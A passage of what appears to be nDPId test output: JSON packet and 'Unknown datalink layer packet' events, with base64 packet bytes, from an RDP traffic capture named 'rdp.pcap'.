packet","thread_id":0,"packet_id":1239,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00870{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1240,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":377263,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiA0AAfwYmUsCoAo6sEAK5DT3NDkeeb9D5vRXGUBj3VJcXAADNJLSbKOgfgm4YjbCPTfxopFucSJgKMRKd\/ZFj+lWzZ3haaXjRB9Q+GxbdIuVUNWpWejapF9E\/CAt8J0esq5d0eCmkl1Ee+GijvmV0g+jj2Qn+ZgLlAb\/YoqMfEKbu4OmmR7deJcp8e7ugfVjXKC9lFb\/0alaKEVthyh4TNRexHJXyEdYEauJgwdOgdm\/jMY9wBVHC9sdiNDZOSTo0lU1e1Udv5zLQtW5e3fRbBDV0SxeVrMCBL9q105Tj7y82WgmPR889pqC8FFtCP2N7am53tKz88KuPhVxVKRQjMHkIimfBZcYCE\/VvXRZzwT9TlwEn5+1+57AI3OBZI0v40YubX9eUlaVFZqlKe+vzXd0rL\/6u\/vmZldbv5LR6qavWls2Je6dRM\/VxD+TP1dC\/ijYqEec\/jJza\/MZnsADb4nvf8AcqiyiD9\/zGfPWJJH4oc95IUKf2qIY5xIHwqrWWKqkReIWq7VS0DZ6LCS9+guMqMXp6aPT6lXQEMxGc"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1240,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1241,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":377310,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GCBHnnFLUBAf9HjNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1241,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1242,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":377631,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiBEAAfwYi08CoAo6sEAK5DT3NDkeecUv5vRXGUBD3VC8VAAAXAwMGbwAAAAAAAAGRASVBq4uC5hdyLVlOw7DPPLp4+U9xHXXkRSI3rTUh+9hYrgsAgKUXVcbphpv7QI8TL6a4E6WQV0zBCDo3UM5BsbEnoG+Bp2o5\/zkt+mS\/9kc\/NyW2ft+Vrhqgd8awrXIe43UxRqQdbH5+TG1o3X\/eDnCwle6R4PbcbKPaxU7w5jM43aPzRqD4RAwNbpxn+kBQ7n++F14dwpMihraKaUCplabtT8YdzSB9cJ5GkixCL6u+TJscNHQVHgSQ7+lyBRKP96yCEtaKIemFpeAhr7vYuo2r0nS\/F6bewPau0Zug4VSxB9WuvnxN8\/SLE1BC\/ZtJo60lxBD+GpDaJDaNramwwJlv6aGnyMYe3q6koiYBexkSPmtLOrSS+p8Owz3vTABv9QHh6X6BS2GicoSXKLn9yB4zwQaulgydigOG5AqcNvPJhgS2FT3GraUtiMANpK6T5x2xxyQ5+ekDUeP4dDv34IG+9EvLgsH2P4MKA9F9GUOx+x0StrKcgb6\/Z0nd4PlN2eP+A5sntGRFrfTEl7gKh8VOBfJLcNlAM6ThpGISRsZKsv0kiYpyOAeAZJcGJuo0mWDeUtCscM9rcewAvcds7vvJaoRxt2+yTvA0Q01SMNxfkoN4TpFxPlE2WPrynaNJk6f5eqR1TCtiYCiGLtCzodD+ujeCSDyzeorjSJWcZna5Zl8DrG2P9MpAamMLVKfoAP2cGwCczbTMmsickcz+5dEaKUMdLqq4bh28r7bWM\/UWnLWfuy6BVD+KlQsuP6u69P51b6TRATxaD8HZwfkMkSmQuQWPF+b3i0YyhPvGyAH0K7XgJFGWfyGE7H2WUawWSHReI6FzS6OAh8AzRsN1Uy5TeuQdXq\/y9+r+jxH3nbkJSw0XsjEMTTwiG+sp2GDnlqz6zb8aDy7hGWD\/ACwG0PSBofcu\/Ib\/6qjONo84TN83IITbPwfOvM7XnYDxS8PD186+ruudnX2Epvg34Da5RY65XZNWhDijAQJap1nRLSGFCEbCywXoOEJF\/Wt\/TkboNsA4Wwy7xdqVqbD2svtDrJJkoIU0zfxprXdxd0Hw4ne\/Is9DB68a2DFkdBDfhEbPkME\/gMhflnhTGf7h+G9TBzXWNSM96LaXgbwvBqL1xpYrLFrTT\/o\/zOTaYMPn9oi5yrb1+Vcy1nUOfNA92SqZcCU+\/xgu5sFNqgI+hFCyFO1I4vQRXqc05+OFwwN40hX+xbebn5Av6djE4h0GaRl0CiEcpj5NNMhQniwJHrRtx9kEBx1GOtwbdRpJeJNM3Yi4PN8Qj6OTEajWjWG5J2eQtj\/wnLzFVfJMuOhYyXW77\/yQmyoPu4fvd1pO8Mhu9V2+iA\/IHOCwkc0xkI7P9mSs8CcTnNRzf\/DVixzDZ2RuDKrKTPdFhsRTHe9vqyg0rjW3ly8cxuKoAyUsKc0LR+KSZCyrz+654GHaQdG12l2iNUHHQGpva6tLlWT+pKwuE7QFNyXJRJ2galcsrUCqMu5XIzN2NWYvUa5LS7EFYF+IulGFzHCsCbt5f2K4R0uXg6YhPVzROU5GOdnJ1LdPdnQHskOi1B70UoofnY+O9KtG+seUPq32ITZYr\/yzQtpFYdFLySoiay61yZUaztteJV3xU6UdnXdZ2hBQ7Ew2eaNwLxGbajeHXjvpugo3Tk3AKwoDgfhBXA\/OfnozMul2"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1242,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1243,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":378242,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiBUAAfwYmUMCoAo6sEAK5DT3NDkeedkT5vRXGUBj3VLyqAAB3lD8QtBb1ASRVdzUTKIQycW4ObT9jWVoLFlU+tE8rIAPOMzFlMdt9zAsvwJW3jTNWJkK9Li3VxlAwFsut10bmX1fDyK3zWTCr1CVqdjrrenR+Y+rM2jwBSJ2to6A9gTT2XH6sEDoFpydqCOlsrKGlB1ubs01bl0j8+zwWQSsho+VZ1bcr3yafkOEEBrYHLQI9SdPnPezGIU3GjRcwIGhdbwgatdCw3BMkJ1\/FB36fdCkNnXQN3CfEvFtpDIA64i5NuhABR7sYvdyhnOzr7vBLUyqD+eV6+enZKEJwIEAMUSZBj4OxFYK+LIgDmL3keXi34Iq24b8KWca6Yr54R6PQOjccI\/Gcj1nvnTrAs+msJzHNrL7KPn2zkBzpWALi7yQ8nMTvW7gK\/\/9D3rY5KEJxQuy+D9DZdJ\/HucA3dBepiLLx5rqqd2GIo2om8HqLGe2sySTxhQLrInGb56mVACX1SUr2hqhPSGHxGPXoRoZ1PmTgkwYCBkUaH1gq"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1243,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1244,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":378285,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GCBHnne\/UBAf9HJZAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1244,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1245,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":378583,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iBkAAfwYnlcCoAo6sEAK5DT3NDkeed7\/5vRXGUBj3VHfxAAAXAwMAMAAAAAAAAAGSHoXUkaCR2IWzILdBvnkJo45fzpjV6rP3C89ybqe5ucPTDwwL6+DvCQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1245,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1246,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":378849,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GCBHnnf0UBAf\/nIaAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1246,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1247,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":378968,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiB0AAfwYnycCoAo6sEAK5DT3NDkeed\/T5vRY4UBD24p0dAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1247,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1248,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379012,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9GCBHnnf0UBggAK3EAAAXAwMAOOAIO32NJwwOVTsOL\/VvIZCgQGZlGsFTSgW2s8aD0EM4Hyvm3mkkRCcs5QnqSnC2HONYrRX5JnLN"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1248,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1249,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379363,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiCEAAfwYnyMCoAo6sEAK5DT3NDkeed\/T5vRaqUBD2cJ0dAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1249,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1250,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379517,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iCUAAfwYnksCoAo6sEAK5DT3NDkeed\/T5vRaqUBj2cI6GAAAXAwMAMAAAAAAAAAGTjiX9yoZkYAFer7pCaqmc3r6B1aan\/5iw4OO1qRjnddxaF8KEVStWbw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1250,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1251,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379556,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GF1HnngpUBAf\/nGoAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1251,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1252,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379801,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGViCkAAfwYnicCoAo6sEAK5DT3NDkeeeCn5vRaqUBj2cKNzAAAXAwMAOAAAAAAAAAGU59FlhjgpxB0CytQtZfVI4qlOi4pxAxtW6XIO+hT+\/OmzrwPqkiNOdeWcizWdr+ln"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1252,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1253,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379845,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GF1HnnhmUBAf\/nFrAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1253,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1254,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":379863,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iC0AAfwYnkMCoAo6sEAK5DT3NDkeeeGb5vRaqUBj2cBloAAAXAwMAMAAAAAAAAAGViVN6npBMNSiZS3Wa228j+GBCBbW7cJXQ8HMZd2uTe4bqQ\/ZjbeYzIw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1254,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1255,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":380418,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GF1HnnibUBAf\/nE2AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1255,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1256,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":380790,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiDEAAfwYiy8CoAo6sEAK5DT3NDkeeeJv5vRaqUBD2cHG4AAAXAwMGbwAAAAAAAAGWMFoN7eH+R7glS0HZIeZYwMnT4+\/OEllSEi6YP+zpC4nQZ09RwBRx1gM3lfpEw7mxR8Wss1mcuSgwvdU9aIWrAfs3BfYgRSBrM\/v5EGV7SrJIRTE\/yYc7bbLAgkk96+2Mt3WOPuT93y69jW4LvIx0jEjHFAynO4CFCfT57YdiUr8JntMDRSJAekGuD8m3V\/YBLxsqF9M36ouy96LzCddet3ZEuQzP2mXAjTdkXk+PFaoTQPIWJ+Ny1zu6bECrBAd5cGpeZp\/aPmrxzDWq0wI3vWlrX7vQjzfnDbcWXus0aojgHFRV0OuwLJWCSivvC97P+RNdHb\/u0Vq5qda3vBlHFBSuXIJAcXpooZHPC1e5lRcapyPM7ExHv9+0URC1dFXmsLxz0IoYDnAEDV7ux6QwGiq+n+7t1+GZxZChqIo+moIbratT9dzylbLxJhSkumh4u\/8ch55xGbkc2wQHna8CXzJb+M\/hyULlcd5Qpyc96R88kVh1uQ4lzzozKy5InYHvUUcKVYhZ088vEKvPiPvLPnoBC0ugo+pU5+j6bIedCxr0YD\/nMGYU\/yPa4qRY+E+VHtMedTaSpS2OsTKtA6KUPxQuzvwICu5oxpEyTcF5slAy976OGlspYTIiAofP2bLTjudSQ7mWY\/HkoYsXvt7Owhm0QKUMw1ADN2WaJK1LkulDio43GHkqAPbxuB16cUypgxuVRLR0ntzUL7pd\/ZggBha+1GP3z8NSmwqKO8gKosnPeScPL2t+F9I2fWn1sC\/iO+AxTD9kZlCBFxLJS0cjzv4CEzFxEeH8XVfF2y2IjPcIxmvWGnc3tju\/SKjLCt7LV8k9Iuh+IXOX6s14GWWMbj0kKXUzocPkdtpjA0q31CH2EWPfRQa6HXxJHLxoW9Coetu8kaxaWw0eMTy8+uBjdo5CEp4Tsi4rNWASofrVj5\/aYMdWFERwyRRUdxD+ZefsIrt\/Akmwr+RmpdhuDvTeWWxull9ZULv19MS1+SIAAMvVC74L2J5pgtNsP1TW0CSI7Ld1p47ylaILCmsqF6LUg\/gNFk+\/4nX+TJA4jdn40NVNjPCZyFD83GaS5Z\/dyci11ea\/V8HYrIWR9mEx0mLzrlDGZvEvUfPaOwO7t+DCTLyg6gonekqL3oPOVS6BJFTrQM4FV+1Cq+K00H8xp7sz1mWkSp32JaIojLhXUGpb9VAG1Uv0e\/szBjN1r+1FYubcwkyW5O3jO2XCZq+Pal9gRbD9F221tETrjh4erHhg1avaLcPK+EcYAnd5EUImAQvFF3Exof3MaF82EYDwIu+249nfUzx+6Guz20CsdJBfmbokOgFXqyl1cCFvve65pjYMDKFqcVT6BRje22lx\/mVQgDjGZiwT+ffU1io2a4dWoR18UjTGkgA+wYDS8cg2MJddXilYzRZh2oxuj3lGDVkcaYP\/GOqYVortze6VzF+4i\/3BV6bxv7DaYijefIang5qZhmR0Yg21S22z9jwzSK\/VVqY9N2Libvmb84zqwex6BpSoxk9a\/Ch9SyRF0ok6gGiSLuGecFtBqcBsVN6IkIVNYM58kL3v0YyZvxPBpVnRceSA2LfhCDX4IOOqQXNSMgAaFsZEvnQnq\/WG\/dJU\/JUkUDPQq6ZGtU\/mpvFhfbbBenE8cKwTUdqcw9QUV00zy0d369aUII+4FAy8rT80"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1256,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1257,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":380990,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiDUAAfwYmSMCoAo6sEAK5DT3NDkeefZT5vRaqUBj2cP4uAADAVdOFWchIeHq7dCeCtc4W+kI\/gpcCBox1mkwUo7AIIqXg3eoKdJTmgTAzQRJDxnYi9e98qkXTFSZBVfhnjaOq3be5WQp\/stqCOkmpaFRBCmRrjSq5s1FuOsFgWCOil8CQBCFQVwOS6nPUrt1gp2yc4iXmg1\/R\/c+gtqk\/uZ8pKXRCgmQCqxh7iT8sVc4hKKkZn17OzCReOlFLK4V9mjjQRylqMiRJ5WqA+H34SbRUN3s8795fkshT2\/nIPk5BcfP5ZT221v1dfNIbgbNF6TDLxcphAqOS7h43e05D41l2gFds8GmD9wxw6rdlXx1ddd+QVEBDqGGIqA9AE9K8eRi\/13BQuT0SpeeIjmFbL7MXrm0dtTik9LCyOXevbuEMWCutbQQ0O8AqJdVaex2cOailMRmxrFFlZQsivAnZrl6TgYxiVFc+8PvMOEIbivMB\/RF29ObSGkWYAiiG64H7J+db9+fPKB6V70EVcztK9Vy87Yjhv4QRnRnelVrh"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1257,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1258,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":381010,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9GF1HnnibUBggAHBwAAAXAwMAMOAIO32NJwwPsJsVBKJtYRa4ff3dDfKxeg63ml4x+tblOdBnNkKr\/lQcjcxrOGHatg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1258,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1259,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":381346,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiDkAAfwYiycCoAo6sEAK5DT3NDkeefw\/5vRaqUBD2cHSvAAAXAwMGbwAAAAAAAAGXxOtuMOIdPchbA+dnt2y+nsG8LbMPoeGm3Racg5SoEZib8ZH9gsB1dveTZCk\/Ni9osAQpF1hrWiI22WB5sLGudKbLbr4vb42d4iir5t4o\/DEJbD9rCq7IT2T6TOxAnPGyBvhiID3jM6qngpi77zCoppH9buXWb45eIcFm1ppQPUoh9oFa17inrtvfZICEAxCnv5EZ9+4sEnArSFpG4oku+720xjhb18H5eZHVU7U67JsYKsAiApJUTGkxh9QEzHrig67Kv5KEI4Gn\/VmpomlkDzYyEMlGOnK3\/m7mhmygTIAaR9wgJa9hAK+Qp5p9FvgcvbGMvJDSgWGKsW9vr3hGAPt0iAwm2h\/kVgnJvB54zHkjZKbxZdYMh2IgTO9TUc0afEFijsoPtgknBfMcqSfdF5aHsnUM6e6SOwSvQWau8bBfb6ykqpV\/9GoDMmtxChVFTlTPGABjCfL9DgBvxjcOTrtRSySpR523JUYZ00NfGzXOgdebK3vQYJr9oG7jBSEqmciG2LW2RVzleQYnw3W1EYtGc\/cJfUjGAxgV1Laj093Irqmtvf0V5BzlYgTdN7A5YItWqp+icP7ttbuU\/a+f7JreXvLs6KWPqkeHJzUs9Z1n1\/rn0UIuH3HM9wYeXHXafjoFXXM6TuUQsxDdxX+C9hbiyWjVSwb4+jdYTLjxXo87rdi7OdGuurQXO\/3eqyZEAIbkLS5G2w5uzeOIPqb0oiBD4onV9rjRbhvwDHXdnKL8c1e9\/7+6zO4bAE67NkvpFAhK9KvvmdneVe4et93R6rK7k8prqoXlMgQToKIRWe1\/CC4QZKK7v7QbEbRaw2f44TrgwungDExjVS0UUvcWmJKTNwfSlRYHvyt4slHqVCpjR7i6shcYDGFLiDSxg9NxLd3J7edH0SiCzTVI3fNSVTlodCDSeoKmbyhdmKhgXu9NWAsahsxr0G0k2ztlhqaNzFNXugd2DQnq+fWs\/OkMH3oHmW7cTvWcw5FEDy1MSgoUqhE1kWdtkfQN1GS6\/6U1rDzATvbJ7OWVKKQof1FnvS6OaMtV7Aj9ooy2mEHvE+NB\/IWmIFggQSUVKBJLl7rvgOfOhYQbldGv1G\/Y69FPyZIOKoXMKNK8jscGhZR7FcQMJHxEJJa9Q3tolOsEJm7yyo6R+rsCNz6mv6gCTkof3P2c1affnlAkieQ3sP3d58W3hy1JPv81mUfT9aQ3bjnB5xcfh9TXG5d1mnsUojGxg7nPcH1D8PXjkqvj8u4QsVKdvIqZa9frOmsKUJOo8iJGN5oqtZU4OwPxmM0NQ0aEEdjL59KYD83lEyplolzgTRAoPKOcemnJ8VH1xLJiJoOL6\/skbpNtRwzdrvmatww8u5ey7ybo1zhPRJQTF1wHowK2Dr0E\/cOava62fFUzhmg3T++s4ul16kznKjDVMA2FAs0sksRxK223kccwud5uW0IZmbdXzNHjW8tM9g9N4E5jN4yK2h5M82aFf4Zf9I\/Y6\/\/K5whgIojUgKQYWJ\/tyIN3IvrhX+C\/lwB08FZnUqgXYO9YV4vUfDariMbOUo5XTOXi2ZMq6Msb1\/xxOAaPtE4eKfapaPMLceGIZOhFwjnxdFTr7FKAecpi5GqT2NVg0\/Cq67kWhmo+TwFyqb2I3XjN5t2hVgEfosiDDgqz++vsGcanQIgdc9vNNIi2"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1259,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1260,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":381369,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GJJHnn8PUBAf9GqXAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1260,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1261,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":381825,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiD0AAfwYmRsCoAo6sEAK5DT3NDkeehAj5vRaqUBj2cAsGAACRzDdsq4q4IdavMYd1CSYyDMfZ\/c2u7Kk0kRpifa6NNXPSpqo9BzPgTYFutL\/NmnPzHOMnf+ggeiom0Xaq2u3LpfDxaw+IHyNwbqmygmOxD9Fo9F8t55jeF\/Qmdmg9vNeFyMfcwSUBeKLMhjgIY1rPo7xBQcaOsG7xx2WbyYyMHvx17UtG8s8Z8MPqLM+DFmWpHLqiaHPI+N8cnnXdq8CjmkLfKWoiao5trH3nwfhmSk8JZ3KvROqwVfXKFFZJ0GnYz\/o41my5BIrXIl9MUZAqR7oUA9OrkDZdRvqa1CNunidcz+Nf02lZNwUk3fznV36guJyZUA6h\/bH5jd8hsHqZc6NkK0K5CArif\/9JilJws43TBmWSMolBQqPf4ilAoxMTsTnZ7iUq\/AyJPJCRJzN7odZKDt6J9swPA5urgkFM\/2ptc8lLcoeoSM\/KGj2G2HwtTmccYr0p2GHJBN\/0PhL9cakCaccyqwMsMqAXt9oSDJKqHiVl5g0ZMNau"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1261,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1262,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":381864,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GJJHnoWDUBAf9GQjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1262,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 